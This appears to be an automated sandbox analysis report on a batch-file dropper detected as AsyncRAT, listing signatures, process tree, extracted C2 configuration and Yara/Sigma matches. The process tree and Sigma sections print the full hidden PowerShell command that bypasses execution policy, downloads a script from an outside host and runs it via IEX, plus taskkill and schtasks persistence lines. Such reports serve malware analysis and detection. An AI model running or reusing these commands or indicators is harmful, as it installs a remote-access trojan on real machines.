Edit tour

Windows Analysis Report
Pe4905VGl1.bat

Overview

General Information

Sample name:	Pe4905VGl1.bat renamed because original name is a hash value
Original sample name:	5dee2d0dd4d3eee97c372b6a8dbd3d3042d24b9483addfa9f8786617a88e268b.bat
Analysis ID:	1562421
MD5:	4527c576f1af0580c8d96ac23c8f761c
SHA1:	dac3bf00eeb34c9c1d9dca63973f2e04da045383
SHA256:	5dee2d0dd4d3eee97c372b6a8dbd3d3042d24b9483addfa9f8786617a88e268b
Tags:	batducksex-ddnsfree-comuser-JAMESWT_MHT
Infos:

Detection

AsyncRAT

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Malicious sample detected (through community Yara rule)

Sigma detected: Powershell Download and Execute IEX

Yara detected AsyncRAT

Yara detected Powershell decode and execute

.NET source code contains potential unpacker

AI detected suspicious sample

Bypasses PowerShell execution policy

C2 URLs / IPs found in malware configuration

Creates an undocumented autostart registry key

Found suspicious powershell code related to unpacking or dynamic code loading

Injects a PE file into a foreign processes

Installs new ROOT certificates

Loading BitLocker PowerShell Module

PowerShell case anomaly found

Sigma detected: Potentially Suspicious PowerShell Child Processes

Sigma detected: Powerup Write Hijack DLL

Sigma detected: WScript or CScript Dropper

Sigma detected: Windows Shell/Scripting Application File Write to Suspicious Folder

Suspicious execution chain found

Suspicious powershell command line found

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Uses the Telegram API (likely for C&C communication)

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Writes to foreign memory regions

Wscript starts Powershell (via cmd or directly)

Yara detected Generic Downloader

Yara detected MSILLoadEncryptedAssembly

Yara detected Obfuscated Powershell

AV process strings found (often used to terminate AV products)

Allocates memory with a write watch (potentially for evading sandboxes)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Enables debug privileges

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: AspNetCompiler Execution

Sigma detected: Change PowerShell Policies to an Insecure Level

Sigma detected: Potential Binary Or Script Dropper Via PowerShell

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Stores large binary data to the registry

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Uses taskkill to terminate processes

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Yara signature match

Classification

Process Tree

System is w10x64

cmd.exe (PID: 1872 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\Pe4905VGl1.bat" " MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7100 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 2160 cmdline: CMD /C pOwerShEll -WindowStyle hidden -ExecutionPolicy bypass -Command "[System.Reflection.Assembly]::LoadWithPartialName('Microsoft.VisualBasic');$fj=[Microsoft.VisualBasic.Interaction]::CallByname((New-Object Net.WebClient),'DownloadString',[Microsoft.VisualBasic.CallType]::Method,'https://almamas.com.ly/wblwxiun.rtw/pnilrykd.jpg')|IEX;[Byte[]]$f=[Microsoft.VisualBasic.Interaction]::CallByname" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

powershell.exe (PID: 2216 cmdline: pOwerShEll -WindowStyle hidden -ExecutionPolicy bypass -Command "[System.Reflection.Assembly]::LoadWithPartialName('Microsoft.VisualBasic');$fj=[Microsoft.VisualBasic.Interaction]::CallByname((New-Object Net.WebClient),'DownloadString',[Microsoft.VisualBasic.CallType]::Method,'https://almamas.com.ly/wblwxiun.rtw/pnilrykd.jpg')|IEX;[Byte[]]$f=[Microsoft.VisualBasic.Interaction]::CallByname" MD5: 04029E121A0CFA5991749937DD22A1D9)

taskkill.exe (PID: 2616 cmdline: "C:\Windows\system32\taskkill.exe" /IM CCleanerBrowser.exe /F MD5: A599D3B2FAFBDE4C1A6D7D0F839451C7)

taskkill.exe (PID: 6744 cmdline: "C:\Windows\system32\taskkill.exe" /IM aspnet_regbrowsers.exe /F MD5: A599D3B2FAFBDE4C1A6D7D0F839451C7)

taskkill.exe (PID: 1056 cmdline: "C:\Windows\system32\taskkill.exe" /IM aspnet_compiler.exe /F MD5: A599D3B2FAFBDE4C1A6D7D0F839451C7)

taskkill.exe (PID: 2044 cmdline: "C:\Windows\system32\taskkill.exe" /IM AppLaunch.exe /F MD5: A599D3B2FAFBDE4C1A6D7D0F839451C7)

taskkill.exe (PID: 7104 cmdline: "C:\Windows\system32\taskkill.exe" /IM InstallUtil.exe /F MD5: A599D3B2FAFBDE4C1A6D7D0F839451C7)

taskkill.exe (PID: 6932 cmdline: "C:\Windows\system32\taskkill.exe" /IM jsc.exe /F MD5: A599D3B2FAFBDE4C1A6D7D0F839451C7)

taskkill.exe (PID: 4424 cmdline: "C:\Windows\system32\taskkill.exe" /IM MSBuild.exe /F MD5: A599D3B2FAFBDE4C1A6D7D0F839451C7)

taskkill.exe (PID: 3528 cmdline: "C:\Windows\system32\taskkill.exe" /IM RegAsm.exe /F MD5: A599D3B2FAFBDE4C1A6D7D0F839451C7)

taskkill.exe (PID: 5012 cmdline: "C:\Windows\system32\taskkill.exe" /IM cvtres.exe /F MD5: A599D3B2FAFBDE4C1A6D7D0F839451C7)

taskkill.exe (PID: 416 cmdline: "C:\Windows\system32\taskkill.exe" /IM RegSvcs.exe /F MD5: A599D3B2FAFBDE4C1A6D7D0F839451C7)

wscript.exe (PID: 1976 cmdline: "C:\Windows\System32\WScript.exe" "C:\ProgramData\WindowsHost\MJMDVSAJFXR.vbs" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 6764 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Users\Public\AXAGFIIEZBBS.bat" " MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 5784 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 1012 cmdline: PowerShell -NoProfile -ExecutionPolicy Bypass -Command "& 'C:\AMRKKUAMRKKsAMRKKeAMRKKrAMRKKs\PAMRKKuAMRKKbAMRKKlAMRKKiAMRKKc\LMKGJHPBNG.ps1'.replace('AMRKK','')" MD5: 04029E121A0CFA5991749937DD22A1D9)

aspnet_compiler.exe (PID: 4200 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe" MD5: FDA8C8F2A4E100AFB14C13DFCBCAB2D2)

aspnet_compiler.exe (PID: 6676 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe" MD5: FDA8C8F2A4E100AFB14C13DFCBCAB2D2)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
AsyncRAT	AsyncRAT is a Remote Access Tool (RAT) designed to remotely monitor and control other computers through a secure encrypted connection. It is an open source remote administration tool, however, it could also be used maliciously because it provides functionality such as keylogger, remote desktop control, and many other functions that may cause harm to the victims computer. In addition, AsyncRAT can be delivered via various methods such as spear-phishing, malvertising, exploit kit and other techniques.	No Attribution	https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/asyncrat-onenote-dropper https://aidenmitchell.ca/asyncrat-via-vbs/ https://assets.virustotal.com/reports/2021trends.pdf https://axmahr.github.io/posts/asyncrat-detection/ https://blog.checkpoint.com/research/november-2023s-most-wanted-malware-new-asyncrat-campaign-discovered-while-fakeupdates-re-entered-the-top-ten-after-brief-hiatus/	https://malpedia.caad.fkie.fraunhofer.de/details/win.asyncrat

Malware Configuration

Threatname: AsyncRAT

{"External_config_on_Pastebin": "null", "Server": "ducksex.ddnsfree.com", "Ports": "6161", "Version": "| CRACKED BY DEXTER-LY", "Autorun": "false", "Install_Folder": "UW1DWFNXQjRwTmZCcFN1WmRScE1TVEFQNkpZbmhIZWs=", "Install_File": "sM1ePJDTnlj3DtRAz7+dWOd5NGp5JQWsyrDZoPOlJQDTb6jNyWYXx3QMnyuazNtSs7TQ57FEdZieCqG12wLzhyExZMmCcwHl79x+3yuqL/o=", "AES_key": "QmCXSWB4pNfBpSuZdRpMSTAP6JYnhHek", "Mutex": "GG80pUNCFqeIBsLjHLFYJTVxcawRFwtyGo3CUv8xEr0FQ6fayqNqTizrEpLDnkgAkRFa6hxF8dqxu+8cWlEx829UEfZzHcDtfExYTn9JPBWbtOKZfw4jPt8BlpiKdSTcCPZcxhdww4SzQGSarZOzg+MYK1z13oJY6L5BAe2N9KV9U5sFSnNdnFxb3SV0JNc7e9PKmLRCiUgzHl8Q8taRcYgRrN3tD4w0o2FHstUZu246ixPat3z7xwdfym33m3Jstui7wHMCAjdaNH7DrBk5e0floJOx+2JRpCMlGENd9s5KiTp0ZHYtf1uTvLnza2eOL0IKBAJlscjt3Po1R2XyBJPSEp+aKzENQnfU45Bmab8RuRIzLbge67JD2+kLLP0Een/8+4UAdZz1Mj1xDhI2HumHhSzchUaWN7LCuXk6O3HsHv3d5e2sdrZkBmyJWGFQWGqN0clCQDqFOEFO5TcGZ0qL2A/obsKfDkuDm5s7FbE0cd6rw8PytF8ssXzTgg/lSrAXPNC03HV5KKrApYl04Tztmm/K0cWqyfE5TWWyn9ipBYoXOVgklba41/DMtIqIlCFGpMkkY8L8EdMLZRvslLCAiBnCm2SLqiBYivVWNIYDGfTOpAwchUWV3QfR5AtB8MgH5s4DJG7/RR4k2rNxE+dVRdMRR12ntFI+rGmuVQk=", "Certificate": "false", "ServerSignature": "true", "BDOS": "false", "Startup_Delay": "3", "Group": "null"}

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
Pe4905VGl1.bat	JoeSecurity_ObfuscatedPowershell	Yara detected Obfuscated Powershell	Joe Security
Pe4905VGl1.bat	SUSP_PowerShell_Caret_Obfuscation_2	Detects powershell keyword obfuscated with carets	Florian Roth	0x1263:$r1: p^O^w^e^r^S^h^E^l^l 0x1263:$r2: p^O^w^e^r^S^h^E^l^l

Memory Dumps

Source	Rule	Description	Author	Strings
00000004.00000002.2026750928.000002E7E3053000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_MSIL_Load_Encrypted_Assembly	Yara detected MSIL_Load_Encrypted_Assembly	Joe Security
00000004.00000002.1865192800.000002E7C8CF4000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_MSIL_Load_Encrypted_Assembly	Yara detected MSIL_Load_Encrypted_Assembly	Joe Security
00000004.00000002.1865192800.000002E7C8C60000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_MSIL_Load_Encrypted_Assembly	Yara detected MSIL_Load_Encrypted_Assembly	Joe Security
00000015.00000002.3894017282.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
00000015.00000002.3894017282.0000000000402000.00000040.00000400.00020000.00000000.sdmp	Windows_Trojan_Asyncrat_11a11ba1	unknown	unknown	0xcf68:$a1: /c schtasks /create /f /sc onlogon /rl highest /tn " 0x10238:$a2: Stub.exe 0x102c8:$a2: Stub.exe 0x9698:$a3: get_ActivatePong 0xd180:$a4: vmware 0xcff8:$a5: \nuR\noisreVtnerruC\swodniW\tfosorciM\erawtfoS 0xa7e8:$a6: get_SslClient
00000015.00000002.3894017282.0000000000402000.00000040.00000400.00020000.00000000.sdmp	INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse	Detects file containing reversed ASEP Autorun registry keys	ditekSHen	0xcffa:$s1: nuR\noisreVtnerruC\swodniW\tfosorciM
00000004.00000002.2018457002.000002E7E2CD8000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_MSIL_Load_Encrypted_Assembly	Yara detected MSIL_Load_Encrypted_Assembly	Joe Security
00000004.00000002.1867257966.000002E7C8E40000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_MSIL_Load_Encrypted_Assembly	Yara detected MSIL_Load_Encrypted_Assembly	Joe Security
00000013.00000002.1753014941.0000025703E64000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
00000013.00000002.1753014941.0000025703E64000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_Asyncrat_11a11ba1	unknown	unknown	0x17a5f8:$a1: /c schtasks /create /f /sc onlogon /rl highest /tn " 0x17d4e0:$a2: Stub.exe 0x17d570:$a2: Stub.exe 0x176d28:$a3: get_ActivatePong 0x17a810:$a4: vmware 0x17a688:$a5: \nuR\noisreVtnerruC\swodniW\tfosorciM\erawtfoS 0x177e78:$a6: get_SslClient
00000013.00000002.1753014941.0000025703E64000.00000004.00000800.00020000.00000000.sdmp	INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse	Detects file containing reversed ASEP Autorun registry keys	ditekSHen	0x17a68a:$s1: nuR\noisreVtnerruC\swodniW\tfosorciM
00000004.00000002.1868647268.000002E7CA7B0000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_MSIL_Load_Encrypted_Assembly	Yara detected MSIL_Load_Encrypted_Assembly	Joe Security
00000013.00000002.1753014941.0000025702269000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
00000013.00000002.1753014941.0000025702269000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_Asyncrat_11a11ba1	unknown	unknown	0x2292d8:$a1: /c schtasks /create /f /sc onlogon /rl highest /tn " 0x22c1a8:$a2: Stub.exe 0x22c238:$a2: Stub.exe 0x225a08:$a3: get_ActivatePong 0x2294f0:$a4: vmware 0x229368:$a5: \nuR\noisreVtnerruC\swodniW\tfosorciM\erawtfoS 0x226b58:$a6: get_SslClient
00000004.00000002.1868900966.000002E7CACD1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_MSIL_Load_Encrypted_Assembly	Yara detected MSIL_Load_Encrypted_Assembly	Joe Security
00000013.00000002.1753014941.0000025701869000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
00000013.00000002.1753014941.0000025701869000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_Asyncrat_11a11ba1	unknown	unknown	0x14778:$a1: /c schtasks /create /f /sc onlogon /rl highest /tn " 0x62858:$a1: /c schtasks /create /f /sc onlogon /rl highest /tn " 0x17648:$a2: Stub.exe 0x176d8:$a2: Stub.exe 0x65728:$a2: Stub.exe 0x657b8:$a2: Stub.exe 0x10ea8:$a3: get_ActivatePong 0x5ef88:$a3: get_ActivatePong 0x14990:$a4: vmware 0x62a70:$a4: vmware 0x14808:$a5: \nuR\noisreVtnerruC\swodniW\tfosorciM\erawtfoS 0x628e8:$a5: \nuR\noisreVtnerruC\swodniW\tfosorciM\erawtfoS 0x11ff8:$a6: get_SslClient 0x600d8:$a6: get_SslClient
00000013.00000002.1753014941.00000257013AA000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
00000013.00000002.1753014941.00000257013AA000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_Asyncrat_11a11ba1	unknown	unknown	0x47b648:$a1: /c schtasks /create /f /sc onlogon /rl highest /tn " 0x4b8138:$a1: /c schtasks /create /f /sc onlogon /rl highest /tn " 0x476518:$a2: Stub.exe 0x4765a8:$a2: Stub.exe 0x4bb008:$a2: Stub.exe 0x4bb098:$a2: Stub.exe 0x477d78:$a3: get_ActivatePong 0x4b4868:$a3: get_ActivatePong 0x47b860:$a4: vmware 0x4b8350:$a4: vmware 0x47b6d8:$a5: \nuR\noisreVtnerruC\swodniW\tfosorciM\erawtfoS 0x4b81c8:$a5: \nuR\noisreVtnerruC\swodniW\tfosorciM\erawtfoS 0x478ec8:$a6: get_SslClient 0x4b59b8:$a6: get_SslClient
00000004.00000002.1868900966.000002E7CB886000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_MSIL_Load_Encrypted_Assembly	Yara detected MSIL_Load_Encrypted_Assembly	Joe Security
Process Memory Space: powershell.exe PID: 2216	JoeSecurity_MSIL_Load_Encrypted_Assembly	Yara detected MSIL_Load_Encrypted_Assembly	Joe Security
Process Memory Space: powershell.exe PID: 2216	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0x1a5788:$b2: ::FromBase64String( 0x6559c:$s1: -join 0xe94b4:$s1: -join 0xf6589:$s1: -join 0xf995b:$s1: -join 0xfa00d:$s1: -join 0xfbafe:$s1: -join 0xfdd04:$s1: -join 0xfe52b:$s1: -join 0xfed9b:$s1: -join 0xff4d6:$s1: -join 0xff508:$s1: -join 0xff550:$s1: -join 0xff56f:$s1: -join 0xffdbf:$s1: -join 0xfff3b:$s1: -join 0xfffb3:$s1: -join 0x100046:$s1: -join 0x1002ac:$s1: -join 0x102442:$s1: -join 0x110e8c:$s1: -join
Process Memory Space: powershell.exe PID: 1012	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
Process Memory Space: aspnet_compiler.exe PID: 6676	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
Process Memory Space: aspnet_compiler.exe PID: 6676	INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse	Detects file containing reversed ASEP Autorun registry keys	ditekSHen	0x22820:$s1: nuR\noisreVtnerruC\swodniW\tfosorciM
Click to see the 20 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
21.2.aspnet_compiler.exe.400000.0.unpack	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
19.2.powershell.exe.25702485170.7.unpack	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
21.2.aspnet_compiler.exe.400000.0.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
19.2.powershell.exe.25702485170.7.unpack	Windows_Trojan_Asyncrat_11a11ba1	unknown	unknown	0xb368:$a1: /c schtasks /create /f /sc onlogon /rl highest /tn " 0xe238:$a2: Stub.exe 0xe2c8:$a2: Stub.exe 0x7a98:$a3: get_ActivatePong 0xb580:$a4: vmware 0xb3f8:$a5: \nuR\noisreVtnerruC\swodniW\tfosorciM\erawtfoS 0x8be8:$a6: get_SslClient
19.2.powershell.exe.257018be6f0.2.unpack	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
21.2.aspnet_compiler.exe.400000.0.unpack	Windows_Trojan_Asyncrat_11a11ba1	unknown	unknown	0xd168:$a1: /c schtasks /create /f /sc onlogon /rl highest /tn " 0x10038:$a2: Stub.exe 0x100c8:$a2: Stub.exe 0x9898:$a3: get_ActivatePong 0xd380:$a4: vmware 0xd1f8:$a5: \nuR\noisreVtnerruC\swodniW\tfosorciM\erawtfoS 0xa9e8:$a6: get_SslClient
19.2.powershell.exe.25702485170.7.unpack	INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse	Detects file containing reversed ASEP Autorun registry keys	ditekSHen	0xb3fa:$s1: nuR\noisreVtnerruC\swodniW\tfosorciM
19.2.powershell.exe.257018be6f0.2.unpack	Windows_Trojan_Asyncrat_11a11ba1	unknown	unknown	0xb368:$a1: /c schtasks /create /f /sc onlogon /rl highest /tn " 0xe238:$a2: Stub.exe 0xe2c8:$a2: Stub.exe 0x7a98:$a3: get_ActivatePong 0xb580:$a4: vmware 0xb3f8:$a5: \nuR\noisreVtnerruC\swodniW\tfosorciM\erawtfoS 0x8be8:$a6: get_SslClient
21.2.aspnet_compiler.exe.400000.0.unpack	INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse	Detects file containing reversed ASEP Autorun registry keys	ditekSHen	0xd1fa:$s1: nuR\noisreVtnerruC\swodniW\tfosorciM
19.2.powershell.exe.257018be6f0.2.unpack	INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse	Detects file containing reversed ASEP Autorun registry keys	ditekSHen	0xb3fa:$s1: nuR\noisreVtnerruC\swodniW\tfosorciM
19.2.powershell.exe.25702485170.7.raw.unpack	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
19.2.powershell.exe.25702485170.7.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
19.2.powershell.exe.25702485170.7.raw.unpack	Windows_Trojan_Asyncrat_11a11ba1	unknown	unknown	0xd168:$a1: /c schtasks /create /f /sc onlogon /rl highest /tn " 0x10038:$a2: Stub.exe 0x100c8:$a2: Stub.exe 0x9898:$a3: get_ActivatePong 0xd380:$a4: vmware 0xd1f8:$a5: \nuR\noisreVtnerruC\swodniW\tfosorciM\erawtfoS 0xa9e8:$a6: get_SslClient
19.2.powershell.exe.25701854fd0.5.unpack	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
19.2.powershell.exe.25702485170.7.raw.unpack	INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse	Detects file containing reversed ASEP Autorun registry keys	ditekSHen	0xd1fa:$s1: nuR\noisreVtnerruC\swodniW\tfosorciM
19.2.powershell.exe.25701854fd0.5.unpack	Windows_Trojan_Asyncrat_11a11ba1	unknown	unknown	0xb368:$a1: /c schtasks /create /f /sc onlogon /rl highest /tn " 0xe238:$a2: Stub.exe 0xe2c8:$a2: Stub.exe 0x7a98:$a3: get_ActivatePong 0xb580:$a4: vmware 0xb3f8:$a5: \nuR\noisreVtnerruC\swodniW\tfosorciM\erawtfoS 0x8be8:$a6: get_SslClient
19.2.powershell.exe.25701854fd0.5.unpack	INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse	Detects file containing reversed ASEP Autorun registry keys	ditekSHen	0xb3fa:$s1: nuR\noisreVtnerruC\swodniW\tfosorciM
19.2.powershell.exe.25701854fd0.5.raw.unpack	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
19.2.powershell.exe.25701854fd0.5.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
19.2.powershell.exe.25701854fd0.5.raw.unpack	Windows_Trojan_Asyncrat_11a11ba1	unknown	unknown	0xd168:$a1: /c schtasks /create /f /sc onlogon /rl highest /tn " 0x10038:$a2: Stub.exe 0x100c8:$a2: Stub.exe 0x9898:$a3: get_ActivatePong 0xd380:$a4: vmware 0xd1f8:$a5: \nuR\noisreVtnerruC\swodniW\tfosorciM\erawtfoS 0xa9e8:$a6: get_SslClient
19.2.powershell.exe.25701854fd0.5.raw.unpack	INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse	Detects file containing reversed ASEP Autorun registry keys	ditekSHen	0xd1fa:$s1: nuR\noisreVtnerruC\swodniW\tfosorciM
19.2.powershell.exe.25701870610.0.unpack	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
19.2.powershell.exe.25701870610.0.unpack	Windows_Trojan_Asyncrat_11a11ba1	unknown	unknown	0xb368:$a1: /c schtasks /create /f /sc onlogon /rl highest /tn " 0xe238:$a2: Stub.exe 0xe2c8:$a2: Stub.exe 0x7a98:$a3: get_ActivatePong 0xb580:$a4: vmware 0xb3f8:$a5: \nuR\noisreVtnerruC\swodniW\tfosorciM\erawtfoS 0x8be8:$a6: get_SslClient
19.2.powershell.exe.25701870610.0.unpack	INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse	Detects file containing reversed ASEP Autorun registry keys	ditekSHen	0xb3fa:$s1: nuR\noisreVtnerruC\swodniW\tfosorciM
19.2.powershell.exe.257018be6f0.2.raw.unpack	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
19.2.powershell.exe.257018be6f0.2.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
19.2.powershell.exe.257018be6f0.2.raw.unpack	Windows_Trojan_Asyncrat_11a11ba1	unknown	unknown	0xd168:$a1: /c schtasks /create /f /sc onlogon /rl highest /tn " 0x10038:$a2: Stub.exe 0x100c8:$a2: Stub.exe 0x9898:$a3: get_ActivatePong 0xd380:$a4: vmware 0xd1f8:$a5: \nuR\noisreVtnerruC\swodniW\tfosorciM\erawtfoS 0xa9e8:$a6: get_SslClient
19.2.powershell.exe.25701870610.0.raw.unpack	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
19.2.powershell.exe.25701870610.0.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
19.2.powershell.exe.25701870610.0.raw.unpack	Windows_Trojan_Asyncrat_11a11ba1	unknown	unknown	0xd168:$a1: /c schtasks /create /f /sc onlogon /rl highest /tn " 0x5b248:$a1: /c schtasks /create /f /sc onlogon /rl highest /tn " 0x10038:$a2: Stub.exe 0x100c8:$a2: Stub.exe 0x5e118:$a2: Stub.exe 0x5e1a8:$a2: Stub.exe 0x9898:$a3: get_ActivatePong 0x57978:$a3: get_ActivatePong 0xd380:$a4: vmware 0x5b460:$a4: vmware 0xd1f8:$a5: \nuR\noisreVtnerruC\swodniW\tfosorciM\erawtfoS 0x5b2d8:$a5: \nuR\noisreVtnerruC\swodniW\tfosorciM\erawtfoS 0xa9e8:$a6: get_SslClient 0x58ac8:$a6: get_SslClient
Click to see the 25 entries

Other

Source	Rule	Description	Author	Strings
amsi64_2216.amsi.csv	JoeSecurity_PowershellDecodeAndExecute	Yara detected Powershell decode and execute	Joe Security
amsi64_2216.amsi.csv	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0xc09d:$b2: ::FromBase64String( 0xb9d6:$s1: -join 0x4dfe0:$s1: -join 0x5182:$s4: += 0x5244:$s4: += 0x946b:$s4: += 0xb588:$s4: += 0xb872:$s4: += 0xb9b8:$s4: += 0x50013:$s4: += 0x5006b:$s4: += 0x5008f:$s4: += 0x500f3:$s4: += 0x5405e:$s4: += 0x540de:$s4: += 0x541a4:$s4: += 0x54224:$s4: += 0x543fa:$s4: += 0x5447e:$s4: += 0x4e8a7:$e4: Get-WmiObject 0x4ea96:$e4: Get-Process

Sigma Signatures

System Summary

Sigma detected: Potentially Suspicious PowerShell Child Processes

Source: Process started

Author: Florian Roth (Nextron Systems), Tim Shelton: Data: Command: "C:\Windows\System32\WScript.exe" "C:\ProgramData\WindowsHost\MJMDVSAJFXR.vbs" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\ProgramData\WindowsHost\MJMDVSAJFXR.vbs" , CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: pOwerShEll -WindowStyle hidden -ExecutionPolicy bypass -Command "[System.Reflection.Assembly]::LoadWithPartialName('Microsoft.VisualBasic');$fj=[Microsoft.VisualBasic.Interaction]::CallByname((New-Object Net.WebClient),'DownloadString',[Microsoft.VisualBasic.CallType]::Method,'https://almamas.com.ly/wblwxiun.rtw/pnilrykd.jpg')|IEX;[Byte[]]$f=[Microsoft.VisualBasic.Interaction]::CallByname", ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 2216, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\ProgramData\WindowsHost\MJMDVSAJFXR.vbs" , ProcessId: 1976, ProcessName: wscript.exe

Sigma detected: Powerup Write Hijack DLL

Source: File created

Author: Subhash Popuri (@pbssubhash): Data: EventID: 11, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 2216, TargetFilename: C:\Users\Public\AXAGFIIEZBBS.bat

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: "C:\Windows\System32\WScript.exe" "C:\ProgramData\WindowsHost\MJMDVSAJFXR.vbs" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\ProgramData\WindowsHost\MJMDVSAJFXR.vbs" , CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: pOwerShEll -WindowStyle hidden -ExecutionPolicy bypass -Command "[System.Reflection.Assembly]::LoadWithPartialName('Microsoft.VisualBasic');$fj=[Microsoft.VisualBasic.Interaction]::CallByname((New-Object Net.WebClient),'DownloadString',[Microsoft.VisualBasic.CallType]::Method,'https://almamas.com.ly/wblwxiun.rtw/pnilrykd.jpg')|IEX;[Byte[]]$f=[Microsoft.VisualBasic.Interaction]::CallByname", ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 2216, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\ProgramData\WindowsHost\MJMDVSAJFXR.vbs" , ProcessId: 1976, ProcessName: wscript.exe

Sigma detected: Windows Shell/Scripting Application File Write to Suspicious Folder

Source: File created

